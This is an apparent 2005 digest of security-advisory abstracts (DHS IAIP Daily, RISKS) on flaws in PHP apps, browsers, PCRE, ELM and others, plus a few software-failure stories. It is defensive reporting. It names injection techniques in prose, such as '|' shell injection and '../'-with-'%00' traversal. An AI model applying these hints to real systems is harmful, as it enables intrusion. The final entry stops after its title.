SafeHTML is prone to cross-site scripting vulnerabilities, specifically in dealing with UTF-7 encoding of characters and with CSS comment tags. Failure to filter HTML content can result in the exploitation of various latent vulnerabilities in Web based applications. A successful attack may facilitate HTML injection or cross-site scripting type issues. The vendor has released version 1.3.5 to resolve this issue. SafeHTML SafeHTML 1.3.2: <http://pixel-apes.com/download/safehtml-1.3.5.zip>

Category 21.1

General QA failures

2005-08-16

vulnerability Adobe Acrobat remote buffer overflow PDF arbitrary code execution

DHS IAIP Daily; <http://www.kb.cert.org/vuls/id/896220>

ADOBE ACROBAT CONTAINS A REMOTELY EXPLOITABLE BUFFER OVERFLOW

Adobe Acrobat is a suite of applications that allow users to manipulate PDF (Portable Document Format) files. A buffer within a core plug-in for Adobe Acrobat and Acrobat Reader can be overwritten using a specially-crafted PDF document. If a remote attacker can persuade a user to access a specially crafted PDF file, that attacker may be able to execute arbitrary code or crash the Adobe Acrobat/Acrobat Reader process. Users should upgrade to unaffected versions of Adobe Acrobat and Acrobat Reader. For a list of unaffected versions please see Adobe Security Advisory 321644:
<http://www.adobe.com/support/techdocs/321644.html>

Category 21.1

General QA failures

2005-08-17

vulnerability phpPgAds SQL injection command execution upgrade

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1447>

PHPPGADS SQL INJECTION AND COMMAND EXECUTION VULNERABILITIES

Multiple vulnerabilities were identified in phpPgAds, which could be exploited by remote attackers to execute arbitrary commands. The first issue is due to an input validation error in the XML-RPC library when processing, via an "eval()" call, certain XML tags nested in parsed documents, which could be exploited by remote attackers to execute arbitrary PHP commands. For additional information, see : FrSIRT/ADV-2005-1413 The second vulnerability is due to an input validation error in "lib-view-direct.inc.php" when processing a specially crafted "clientid" variable, which could be exploited by malicious users to conduct SQL injection attacks. The third flaw is due to an input validation error when processing specially crafted parameters, which may be exploited by remote attackers to include malicious files and execute arbitrary commands with the privileges of the web server. Products affected are phpPgAds versions prior to 2.0.6. Users should upgrade to phpPgAds version 2.0.6 : <http://prdownloads.sourceforge.net/phpadsnew/>

Category 21.1

General QA failures

2005-08-17

vulnerability Microsoft Internet Explorer remote code execution no patch issued

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1450>

MICROSOFT INTERNET EXPLORER "MSDDS.DLL" REMOTE CODE EXECUTION

A critical vulnerability was identified in Microsoft Internet Explorer, which could be exploited by remote attackers to execute arbitrary commands. This issue is due to a memory corruption error when instantiating the "Msdds.dll" (Microsoft Design Tools Diagram Surface) object as an ActiveX control, which could be exploited by an attacker to take complete control of an affected system via a specially crafted Web page. This vulnerability has been confirmed with Microsoft Internet Explorer 6 SP2 on Windows XP SP2 (fully patched). Note: It is currently unclear whether the "Msdds.dll" library is installed with Microsoft Office, Microsoft Visual Studio, or with other applications. More information will be provided when further details are available. Products affected are: Microsoft Internet Explorer 6 for Microsoft Windows XP SP2; Microsoft Internet Explorer 6 for Microsoft Windows XP SP1; Microsoft Visual Studio .NET 2003; and Microsoft Visual Studio .NET 2002. The FrSIRT is not aware of any official supplied patch for this issue.

Category 21.1

General QA failures

2005-08-18

vulnerability Juniper Netscreen VPN username enumeration information disclosure

DHS IAIP Daily; <http://www.zone-h.org/advisories/read/id=7977>

JUNIPER NETSCREEN VPN: USERNAME ENUMERATION VULNERABILITY

NTA Monitor has discovered a VPN username enumeration vulnerability in the Juniper Netscreen integrated Firewall/VPN products while performing a VPN security test for a customer. The vulnerability affects remote access VPNs (known as "Dialup VPNs" in ScreenOS) using IKE with pre-shared key authentication. Certificate authentication is not affected, nor is manual key authentication. In practice, we find that most Netscreen systems are configured for remote access with pre-shared key authentication (called "AutoKey IKE with Preshared keys" in ScreenOS), so this bug will affect the majority of users. The vulnerability allows an attacker to use a dictionary attack to determine valid VPN usernames on the Netscreen. Once a valid username is discovered, the attacker can then use this to obtain a hash from the Netscreen, which can then be cracked offline to determine the associated password. Once an attacker has a valid username and password, they can potentially gain access to the resources protected by the VPN. The issue is believed to affect all models of Juniper Netscreen running all ScreenOS software versions up to 5.2.0. Users should use certificate authentication rather than pre-shared key authentication.

Category 21.1

General QA failures

2005-08-18

vulnerability MailWatch MailScanner XML RPC upgrade

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1457>

MAILWATCH FOR MAILSCANNER XML-RPC REMOTE CODE EXECUTION ISSUE

A vulnerability was identified in MailWatch for MailScanner, which could be exploited by remote attackers to execute arbitrary code. This flaw is due to an input validation error in the XML-RPC library when processing, via an "eval()" call, certain XML tags nested in parsed documents, which could be exploited by remote attackers to execute arbitrary PHP commands. For additional information, see : FrSIRT/ADV-2005-1413 Products affected are MailWatch for MailScanner versions prior to 1.0.2. Users should upgrade to MailWatch for MailScanner version 1.0.2: <http://mailwatch.sourceforge.net/>

Category 21.1

General QA failures

2005-08-19

vulnerability Computer Associates Message Queueing denial-of-service DoS patches issued

DHS IAIP Daily;

http://supportconnectw.ca.com/public/ca_common_docs/camsecurity_notice.asp

COMPUTER ASSOCIATES MESSAGE QUEUING VULNERABILITIES

There are several vulnerability issues in the Computer Associates Message Queueing (CAM / CAFT) software. The CAM TCP port is potentially vulnerable to a Denial of Service (DoS) attack; buffer overflow conditions can potentially allow arbitrary code to be executed remotely with elevated privileges; and there is potential to launch a spoof CAFT and allow arbitrary commands to be executed with elevated privileges. This affects all versions of the CA Message Queueing software prior to v1.07 Build 220_13 and v1.11 Build 29_13 on the specified platforms. Patches are available for all affected users.

Category 21.1

General QA failures

2005-08-20

vulnerability PCRE Regular Expression heap overflow no solution

DHS IAIP Daily; <http://www.securityfocus.com/bid/14620/references>

PCRE REGULAR EXPRESSION HEAP OVERFLOW VULNERABILITY

PCRE is prone to a heap overflow vulnerability. This issue is due to a failure of the library to properly bounds check user-supplied input prior to copying data to an internal memory buffer. The impact of successful exploitation of this vulnerability depends on the application and the user credentials utilizing the vulnerable library. Successful attack may ultimately permit an attacker to control the contents of critical memory control structures and write arbitrary data to arbitrary memory locations. A solution is not currently known.

Category 21.1

General QA failures

2005-08-21

vulnerability Land Down Under input validation bug SQL injection cross-site scripting attack no solution

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Aug/1014747.html>

LAND DOWN UNDER INPUT VALIDATION BUGS PERMIT SQL INJECTION AND CROSS-SITE SCRIPTING ATTACKS

Some input validation vulnerabilities were reported in Land Down Under. A remote user can conduct cross-site scripting attacks. A remote user can also inject SQL commands. A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Land Down Under software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user. A remote user can execute SQL commands on the underlying database. No solution is currently known.

Category 21.1

General QA failures

2005-08-21

vulnerability e-mail UNIX header buffer overflow upgrade

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1479>

ELECTRONIC MAIL FOR UNIX EXPIRES HEADER BUFFER OVERFLOW VULNERABILITY

A vulnerability was identified in ELM (Electronic Mail for UNIX), which could be exploited by remote attackers to execute arbitrary commands. This flaw is due to a stack overflow error when processing specially crafted messages containing malformed "Expires" headers, which could be exploited by remote attackers to compromise a vulnerable system by convincing a user to read a specially crafted email. Products affected are Electronic Mail for UNIX (ELM) version 2.5-PL7 and prior. Users should upgrade to Electronic Mail for UNIX (ELM) version 2.5-PL8: <http://www.instinct.org/elm/files/tarballs/elm2.5.8.tar.gz>

Category 21.1

General QA failures

2005-08-22

vulnerability ELM header parsing buffer overflow system compromise update issued

DHS IAIP Daily; <http://secunia.com/advisories/16508/>

ELM "EXPIRES" HEADER PARSING BUFFER OVERFLOW VULNERABILITY

A vulnerability has been reported in ELM, which can be exploited by malicious people to compromise a user's system. The vulnerability is caused due to a boundary error when parsing the "Expires" header and can be exploited to cause a stack-based buffer overflow by sending a specially crafted e-mail to a user. Successful exploitation allows execution of arbitrary code. The vulnerability has been reported in versions 2.5 PL7, 2.5 PL6, and 2.5 PL5. Prior versions may also be affected. Users should update to version 2.5 PL8.

Category 21.1

General QA failures

2005-08-22

vulnerability BEA WebLogic Portal unauthorized remote access patch issued

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1495>

BEA WEBLOGIC PORTAL UNAUTHORIZED REMOTE ACCESS VULNERABILITY

A vulnerability was identified in BEA WebLogic Portal, which may be exploited by attackers to gain unauthorized access. This flaw occurs on Websites that use entitlements placed directly on desktop books, pages, or portlets, which could be exploited by remote attackers to access all the pages of the Book via specially crafted HTTP GET requests. No further details have been disclosed. Entitlements that are placed on Portals built from library books, pages, and portlets are not affected by this issue. Products affected are BEA Systems WebLogic Portal 8.1 SP1-SP4. Patch for BEA WebLogic Portal 8.1 SP4:
ftp://ftpna.beasys.com/pub/releases/security/patch_CR238578_81SP4.zip

Category 21.1 General QA failures
2005-08-23 **vulnerability hole PCRE regular expressions Perl library buffer overflow execute arbitrary code restart update server processes**

DHS IAIP Daily; <http://www.ubuntu.com/usn/usn-173-1>

PCRE VULNERABILITY

A buffer overflow has been discovered in the PCRE, a library that provides Perl compatible regular expressions. Specially crafted regular expressions triggered a buffer overflow. On systems that accept arbitrary regular expressions from untrusted users, this could be exploited to execute arbitrary code with the privileges of the application using the library. The libpcre3 package is affected. The problem can be corrected by upgrading the affected package to version 4.5-1.1ubuntu0.4.10 (for Ubuntu 4.10), or 4.5-1.1ubuntu0.5.04 (for Ubuntu 5.04). However, a standard system upgrade is not sufficient to effect the necessary changes. Users should reboot their machines to ensure that all services using this library are restarted correctly. If not, please manually restart all server processes (exim, Apache, PHP, etc.). Users should also restart their desktop session.

Category 21.1 General QA failures
2005-08-24 **vulnerability HAURI anti-virus remote buffer overflow access violation patch issued**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14647/solution>

HAURI ANTI-VIRUS ACE ARCHIVE HANDLING REMOTE BUFFER OVERFLOW VULNERABILITY

HAURI Anti-Virus is affected by a remote buffer overflow vulnerability when handling ACE archives. An attacker can exploit this issue by crafting a malicious ACE archive containing a specially crafted file name and sending this archive to a vulnerable computer. The attacker may exploit this vulnerability to gain unauthorized remote access in the context of the superuser. The vendor has released patches to address this issue in ViRobot Linux Server 2.0. Users running ViRobot Expert 4.0 and ViRobot Advanced Server can upgrade to vrazilmain.dll version 5.8.22.137 through the online update functionality of the application. HAURI LiveCall users can upgrade to vrazilmain.dll version 5.8.22.137 through the LiveCall Website. Hauri Patch ViRobot Unix/Linux Server Security Vulnerability Patch http://www.globalhauri.com/html/download/down_unixpatch.html

Category 21.1 General QA failures
2005-08-25 **vulnerability note pam_ldap authentication bypass update issued**

DHS IAIP Daily; <http://www.kb.cert.org/vuls/id/778916>

PAM_LDAP AUTHENTICATION BYPASS VULNERABILITY

pam_ldap provides LDAP authentication services for UNIX-based systems. A vulnerability in pam_ldap may allow a remote attacker to bypass the authentication mechanism. If a pam_ldap client attempts to authenticate against an LDAP server that omits the optional error value from the PasswordPolicyResponseValue, the authentication attempt will always succeed. Note that this vulnerability affects all versions of pam_ldap since version pam_ldap-169. However, if the underlying LDAP client library does not support LDAP version 3 controls, then this vulnerability is not present. This vulnerability was corrected in pam_ldap-180: http://www.padl.com/OSS/pam_ldap.html

Category 21.1 General QA failures
2005-08-29 **vulnerability SqWebMail bug arbitrary scripting code attack update issued**

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Aug/1014810.html>

SQWEBMAIL BUG IN FILTERING IMG TAGS LETS REMOTE USERS INJECT ARBITRARY SCRIPTING CODE

A vulnerability was reported in SqWebMail. The software does not properly filter HTML code in e-mail messages. A remote user can send an HTML-based e-mail message containing arbitrary scripting code. When the target user views the message, the scripting code will be executed by the target user's browser. The code will originate from the site running the SqWebMail software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user. A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the SqWebMail software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user. The vendor has issued a fixed development snapshot version (5.0.4.20050826): <http://www.courier-mta.org/?download.php>

Category 21.1

General QA failures

2005-08-29

vulnerability Looking Glass cross-site scripting shell command injection no solution

DHS IAIP Daily; <http://seunia.com/advisories/16607/>

LOOKING GLASS CROSS-SITE SCRIPTING AND SHELL COMMAND INJECTION

Vulnerabilities in Looking Glass, which can be exploited by malicious people to conduct cross-site scripting attacks and compromise a vulnerable system. Input passed to the "version" array parameter in footer.php and header.php is not properly sanitised before being returned to users. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Input passed to the "target" parameter in lg.php is not properly sanitised before being used in a "system()" call. This can be exploited to inject arbitrary shell commands via e.g. the "|" pipe character. The vulnerabilities have been confirmed in the latest available version. Other versions may also be affected. No official fix is currently known.

Category 21.1

General QA failures

2005-08-30

vulnerability multiple PHPLDAPAdmin user input sanitization arbitrary code execution no patch issued

DHS IAIP Daily; <http://www.securityfocus.com/archive/1/409529/30/0/threaded>

PHPLDAPADMIN WELCOME.PHP MULTIPLE VULNERABILITIES

phpldapadmin is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. phpldapadmin is prone to a directory traversal vulnerability. An attacker can exploit this vulnerability to retrieve arbitrary files on the vulnerable system in the security context of the Web server process. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. phpldapadmin is prone to a remote file include vulnerability. An attacker can exploit this vulnerability to execute arbitrary PHP script code in the security context of the Web server process. phpldapadmin is also prone to a cross-site scripting vulnerability. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. Security Focus is not currently aware of any vendor-supplied patches for this issue.

Category 21.1

General QA failures

2005-08-30

vulnerability Microsoft Internet Explorer IE remote code execution arbitrary commands no patch issued

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1571>

MICROSOFT INTERNET EXPLORER REMOTE CODE EXECUTION VULNERABILITY

A vulnerability has been identified in Microsoft Internet Explorer, which potentially could be exploited by remote attackers to execute arbitrary commands. This flaw is due to an unspecified memory corruption error when processing malformed HTML pages, which could be exploited remote attackers to take complete control of an affected system via specially crafted Web pages. No further details have been disclosed. The FrSIRT is not aware of any official supplied patch for this issue.

Category 21.1

General QA failures

2005-08-31

vulnerability hole FlatNuke user input sanitization directory traversal arbitrary file read no solution

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Aug/1014824.html>

VULNERABILITIES IN FLATNUKE

Some vulnerabilities have been discovered in FlatNuke. The software does not properly validate user-supplied input in the 'id' parameter. A remote user can supply a specially crafted parameter value containing a filename with '../' directory traversal characters and ending with '%00' to view arbitrary files on the target system. A remote user can view files on the target system with the privileges of the target web service. A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the FlatNuke software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user. A remote user can determine the installation path. No solution is currently known.

Category 21.1 General QA failures
2005-08-31 **vulnerability HP-UX Java runtime environment JRE applet security bypass arbitrary file read write**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1593>

HP-UX JAVA RUNTIME ENVIRONMENT (JRE) APPLET SECURITY BYPASS ISSUE

A vulnerability was identified in HP-UX, which could be exploited by remote attackers to execute arbitrary commands. This flaw is due to an error in Java Runtime Environment (JRE) when handling specially crafted applets, which may be exploited via a malicious webpage to read and/write arbitrary files on a vulnerable system and execute local applications with the privileges of the user running the untrusted applet. For additional information, see : FrSIRT/ADV-2005-0764 Products affected are HP-UX B.11.00 - HP-UX B.11.23 Users should upgrade to JRE revision 1.4.2.09.00 or 5.0.01.00 : <http://www.hp.com/go/java>

Category 21.1 General QA failures
2005-08-31 **vulnerability hole PHPXMLRPC PEaR XML_RPC remote code injection user input sanitization failure unauthorized access update issued**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14560/info>

PHPXMLRPC AND PEAR XML_RPC REMOTE CODE INJECTION VULNERABILITY

PHPXMLRPC and PEAR XML_RPC are affected by a remote PHP code injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. The vendor has released version 1.2 of PHPXMLRPC and version 1.4 of PEAR XML_RPC to correct this problem.

Category 21.1 General QA failures
2005-08-31 **vulnerability hole BNBT EasyTracker remote denial-of-service DoS HTTP parser code no patch issued**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14700/discuss>

BNBT EASYTRACKER REMOTE DENIAL OF SERVICE VULNERABILITY

BNBT EasyTracker contains a denial of service vulnerability in its HTTP parser code. This issue is due to a failure of the application to properly handle malformed HTTP requests. If an attacker sends a malformed HTTP request to the application, reports indicate that the affected application will terminate unexpectedly. A remote attacker is able to terminate the application, denying service to legitimate users. Currently we are not aware of any vendor-supplied patches for this issue.

Category 21.1 General QA failures
2005-09-01 **vulnerability Plain Black Software WebGUI remote Perl arbitrary command execution update issued**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14732/info>

PLAIN BLACK SOFTWARE WEBGUI REMOTE PERL COMMAND EXECUTION VULNERABILITIES

WebGUI may be exploited to execute arbitrary Perl commands. This issue presents itself due to insufficient sanitization of user-supplied data. Remote attackers may execute arbitrary Perl commands in the context of the Web server hosting the vulnerable application. This can facilitate unauthorized remote access. Versions of WebGUI prior to 6.7.3 are vulnerable. The vendor has released version 6.7.3 of WebGUI to address this issue.

Category 21.1 General QA failures
2005-09-02 **vulnerability Mod_SSL SSLVerifyClient security bypass unauthorized access update issued**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1625>

MOD_SSL "SSLVERIFYCLIENT" DIRECTIVE SECURITY BYPASS VULNERABILITY

A vulnerability has been identified in mod_ssl, which could be exploited by remote attackers to bypass security policies and gain access to unauthorized contents. This flaw is due to an error in the "SSLVerifyClient" directive that does not properly validate client certificates, which could be exploited by remote attackers to bypass security restrictions and gain access, without a valid client certificate, to protected contents. mod_ssl version 2.8.23 and prior are affected. Users should upgrade to mod_ssl version 2.8.24: <http://www.modssl.org/source/>

Category 21.1 General QA failures
2005-09-03 **vulnerability WebCalendar PHP arbitrary code execution update issued**
DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Sep/1014849.html>
VULNERABILITY IN WEBCALENDAR

A vulnerability was reported in WebCalendar. A remote user can execute arbitrary code on the target system. The 'includes/functions.php' does not properly initialize the 'includedir' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service. Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service. The vendor has issued a fixed version (1.0.1): <http://www.k5n.us/webcalendar.php?topic=Download>

Category 21.1 General QA failures
2005-09-05 **vulnerability KDE kcheckpass insecure lock file creation privilege escalation patch issued**
DHS IAIP Daily; <http://secunia.com/advisories/16692/>
KDE KCHECKPASS INSECURE LOCK FILE CREATION VULNERABILITY

A vulnerability in kcheckpass can potentially be exploited by malicious local users to gain escalated privileges. The vulnerability is caused due to the insecure creation of the lock file in "/var/lock" by kcheckpass.c. This can be exploited via symlink attacks to create or overwrite arbitrary files with the privileges of the user running the affected application. Successful exploitation requires that the directory "/var/lock" is writable. The vulnerability affects KDE versions 3.2.0 through 3.4.2. Users should apply patch (KDE 3.4.2): <ftp://ftp.kde.org/pub/kde/secur...st-3.4.2-kdebase-kcheckpass.diff>
2065be8baea09c89416385ac5dd892a9

Category 21.1 General QA failures
2005-09-06 **vulnerability MAXdev MD-Pro XML-RPC arbitrary command execution**
DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1638>
MAXDEV MD-PRO XML-RPC AND MULTIPLE UNSPECIFIED VULNERABILITIES

Multiple vulnerabilities were identified in MAXdev MD-Pro, which could be exploited by remote attackers to execute arbitrary commands. The first flaw is due to an input validation error in the XML-RPC library when processing certain XML tags nested in parsed documents, which could be exploited by remote attackers to execute arbitrary PHP commands. The second issue is due to unspecified errors in the Download, Search, Web links, Blocks, Messages, News, Comments, Settings, Stats, and Subjects modules. No further details have been disclosed. Products affected are MAXdev MD-Pro versions prior to 1.073. Users should upgrade to MAXdev MD-Pro version 1.073: <http://www.maxdev.com/Downloads-index-req-viewdownload-cid-3.phtml>

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-09-06		software quality assurance QA design software engineering project management maintainability catastrophe mess disaster insurance calculations refunds errors
RISKS; http://tinyurl.com/8qhuz (in German)	24	03

GERMAN GOVERNMENT SOFTWARE OVERPAYS PREMIUMS BY \$25M PER MONTH

In the never-ending tale of woe surrounding the German social services and unemployment software A2LL (produced by T-Systems, the software arm of the former German state Telecom company), the Spiegel has just reported that the software miscalculates the health insurance premiums that the government pays every month - to the tune of 25 million Euros too much, every month. The bill is footed by the taxpayers, of course, since T-Systems wisely put a cap in to contract for reparations - a maximum of 5 million Euros is all T-Systems needs to pay.

....

According to *Der Spiegel*, an expert commission is already discussing what to do with the software, which was taken into service just in January of 2005. It has been declared to be in such a state of non-maintainability and non-adaptability ("nicht mehr wartungs- und entwicklungsfähig") that they are speaking about an entirely new software - to be written, of course, by T-Systems, who brought on this mess in the first place. They just are trying to decide whether to start a new central "solution" or a decentralized one for each unemployment office, as there are many local rules and insurance providers that seem to be causing difficulty.

The problem is with the insurance premiums for the unemployed, which was lowered retrospectively to save money for the government in March. A health insurance umbrella organization, VdAK, says it has difficulty in determining how much to pay back, if anything, because they do not know for exactly which people and months the wrong premium was calculated. A previous large error reported completely wrong data on who exactly was insured when to the insurance companies. The VdAK has said that when the German Social Services BA (Bundesagentur für Arbeit) gets their software straightened out, they will be glad - for a fee, of course - to see if they can repay the premiums payed in error.

[Summary by Deborah Weber-Wulff]

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-09-13		vulnerability Linksys WRT54G wireless router arbitrary code execution
DHS IAIP Daily; http://www.securityfocus.com/bid/14822 /references		LINKSYS WRT54G WIRELESS ROUTER MULTIPLE REMOTE VULNERABILITIES

There have been multiple vulnerabilities found in the Linksys WRT54G router. In order to penetrate these vulnerabilities the attacker must have access to either the wireless, or internal LAN network segments of the affected device and exploitation from the WAN interface is only possible if the affected device has remote management enabled. This vulnerability allows for multiple issues that include executing arbitrary machine code in the context of the affected device and utilizing HTTP POST requests to upload router configuration and firmware files without proper authentication.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-09-14		vulnerability MIVA Merchant5 cross-site scripting user input sanitization arbitrary code execution
DHS IAIP Daily; http://www.securityfocus.com/bid/14828 /references		MIVA MERCHANT 5 MERCHANT.MVC CROSS-SITE SCRIPTING VULNERABILITY

MIVA Merchant 5 is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitized user-supplied input. This issue may be leveraged by having arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This vulnerability may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Category 21.1 General QA failures
2005-09-16 **vulnerability Digital Scribe username SQL injection system compromise**
DHS IAIP Daily; <http://secunia.com/advisories/16841/>
DIGITAL SCRIBE "USERNAME" SQL INJECTION

A vulnerability has been reported in Digital Scribe, which can be exploited by malicious people to conduct SQL injection attacks and compromise a vulnerable system. Analysis showed that input passed to the "username" parameter in "login.php" is not properly sanitized before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code, which can further be exploited to compromise a vulnerable system if combined with inappropriate functionality which allows editing the PHP files "header1.php", "header2.php", and "footer.php" via the template editing functionality.

Category 21.1 General QA failures
2005-09-22 **vulnerability Mozilla Suite Firefox spoofing cross-site scripting arbitrary command execution**
DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1824>
MOZILLA SUITE AND FIREFOX MULTIPLE CODE EXECUTION VULNERABILITIES

There have been nine vulnerabilities identified in Mozilla Suite and Mozilla Firefox. These vulnerabilities may be exploited by remote attackers to execute arbitrary commands or conduct spoofing and cross site scripting attacks. The flaws include buffer overflows, heap overflow errors, stack corruption errors, malformed headers, unprivileged controls, integer overflow errors, error in high privileged "chrome" pages, errors in openings and input validation errors.

Category 21.1 General QA failures
2005-10-13 **sustainability databases NSF data integrity accessibility**
EDUPAGE; <http://www.insidehighered.com/news/2005/10/13/digital>
REPORT ADDRESSES SUSTAINABILITY OF DATABASES

A new report from a National Science Board task force calls on the federal government to implement a clear and focused strategy to ensure that growing collections of information in databases remain accessible and easy to use in the coming years. The report argues that the National Science Foundation (NSF), which has financed many technological developments in recent years, has not crafted policies and strategies that consider and address the range of technologies for storing data. The report praises the improvements that have been made to systems that collect various types of material in digital form and make those materials widely available online, but it says the need is "urgent" for a strategy to guarantee the viability of those materials. The concern, according to the report, is that as technology platforms continue to evolve, some digital content could be left in the lurch, unable to be accessed by newer systems. The report makes a number of recommendations for the NSF, including coordinating efforts between data storage and users of those data, promoting effective training, and supporting efforts to educate "a sufficient number of high-quality data scientists" to manage such systems. Inside Higher Ed, 13 October 2005

Category 21.1 General QA failures
2005-10-17 **software quality assurance QA testing failure errors data corruption fraud incompetence**
RISKS; <http://tinyurl.com/create.php>; 24 08
DOESN'T *ANYONE* CHECK THEIR RESULTS ANY MORE?

MassHighway admitted that the state had found 19 legends on the new signs with significant errors in mileage. That's 12 percent of the 164 new signs in the \$1.05 million contract.

According to the contractor, some of the distances were calculated using Microsoft's Streets & Trips software. According to Microsoft, the software without a GPS hookup costs \$39.95. This contractor was paid \$130,000 by the state.

Apparently the contractor had tried to use Mapquest, but found it unreliable.

One sign on Interstate 93 north, near Exit 45 in Andover, reported that Manchester, N.H. Was 42 miles away, although the actual distance is just a bit more than 28 miles. Another sign on Route 128/95 in Needham reported that Wellesley is 7 miles away. The actual distance is slightly less than 3 miles. A sign on Route 3 north in Braintree listed the distance to I-93 as 5 miles when the distance by odometer was 3 miles.

[RISKS frequent contributor Monty Solomon used quotations from a couple of articles in the summary above.]

Category 21.1

General QA failures

2005-10-20

smart card reader failure accusation fraud court case reliability

RISKS; <http://news.bbc.co.uk/1/hi/england/london/4361286.stm>

24

08

SYSTEM FAILURE = COURT APPEARANCE

Nick Rothwell reports on an alarming consequence of a system failure:

>A woman is being summoned to court, and faces a 1000-pound fine if found guilty, over non-payment of a 1.20-pound London bus fare.

Most of London's transport system is moving over to the Oyster card system, where quasi-smartcards are touched against readers at tube station barriers or doors to buses. A card can contain season tickets, top-up funds for pay-as-you-go travel, or both.

According to the television news coverage today, Jo Cahill believed that she had paid on entering the bus, but the reader did not register her card in order to deduct the fare from the top-up funds. An inspector has treated her as a fare-dodger, even though she explained the situation and offered to pay.

This seems to set the precedent that users are required to confirm that the reader has indeed registered their card, even though the visual and audible signals are not always clear. Transport for London claims that its Oyster card readers rarely fail, although they do not specify whether or not users will always be taken to court when they do fail. (I frequently get onto buses where the reader has a post-it note saying "reader broken" stuck to it.)<

Category 21.1

General QA failures

2005-10-27

vulnerability Sun Solaris Management Console HTTP TRACE information disclosure cookies authentication data patch issued

DHS IAIP Daily; <http://www.securityfocus.com/bid/15222/references>

SUN SOLARIS MANAGEMENT CONSOLE HTTP TRACE INFORMATION DISCLOSURE VULNERABILITY

Sun Solaris Management Console is prone to an information disclosure vulnerability. The Solaris Management Console (smc(1M)) is a graphical user interface that provides access to Solaris system administration tools which includes a Web server that runs on port 898. The SMC Web server enables the HTTP TRACE method by default which may allow a local or remote unprivileged user the ability to access sensitive information -- such as cookies or authentication data -- contained in the HTTP headers of an HTTP TRACE request. Security Focus reports that Sun has addressed these issues with a patch or workaround. Patch: <http://sunsolve.sun.com/search/document.do?assetkey=1-26-102 016-1>

Category 21.1

General QA failures

2005-10-27

vulnerability hole NovellZenworks patch management SQL injection patch issued

DHS IAIP Daily; <http://www.securityfocus.com/bid/15220/references>

NOVELL ZENWORKS PATCH MANAGEMENT MULTIPLE SQL INJECTION VULNERABILITIES

ZENworks Patch Management is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user supplied input before using it in SQL queries. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. These vulnerabilities can only be exploited if a non-privileged account has been created. Only an administrator can create such an account. Security Focus reports that Novell has addressed these issues in ZENworks Patch Management version 6.2 and later. Novell Upgrade ZEN_PatchMgmt_Upd6.2.iso http://download.novell.com/Download?buildid=5_kRStyf9wU~

Category 21.1

General QA failures

2005-10-27

vulnerability Oracle password system weak protection warning

DHS IAIP Daily;

[http://news.com.com/Oracle+password+system+comes+under+fire/ 2100-1002_3-5918305.html?tag=nefd.top](http://news.com.com/Oracle+password+system+comes+under+fire/2100-1002_3-5918305.html?tag=nefd.top)

ORACLE PASSWORD SYSTEM COMES UNDER FIRE

Experts warn that attackers could easily uncover Oracle database users' passwords because of a weak protection mechanism, putting corporate data at risk of exposure. Joshua Wright of the SANS Institute and Carlos Cid of Royal Holloway College, University of London, say they have found a way to recover the plain text password from even very strong, well-written Oracle database passwords within minutes. In a presentation given at the SANS Network Security conference in Los Angeles, on Wednesday, October 26, they said that the technique that Oracle uses to store and encrypt user passwords doesn't provide sufficient security. The researchers shared how passwords are encrypted before being stored in Oracle databases. Wright and Cid identified several vulnerabilities, including a weak hashing mechanism and a lack of case preservation (all passwords are converted to uppercase characters before calculating the hash). Wright and Cid wrote "By exploiting these weaknesses, an adversary with limited resources can mount an attack that would reveal the plain text password from the hash for a known user." The researchers said that Oracle users can protect their systems by requiring strong passwords and assigning limited user rights. Presentation at SANS: http://www.sans.org/rr/special/index.php?id=oracle_pass

Category 21.1

General QA failures

2005-10-31

vulnerability Subdreamer login SQL injection system compromise source code edit user input sanitization

DHS IAIP Daily; <http://secunia.com/advisories/17378/>

SUBDREAMER LOGIN SQL INJECTION VULNERABILITIES

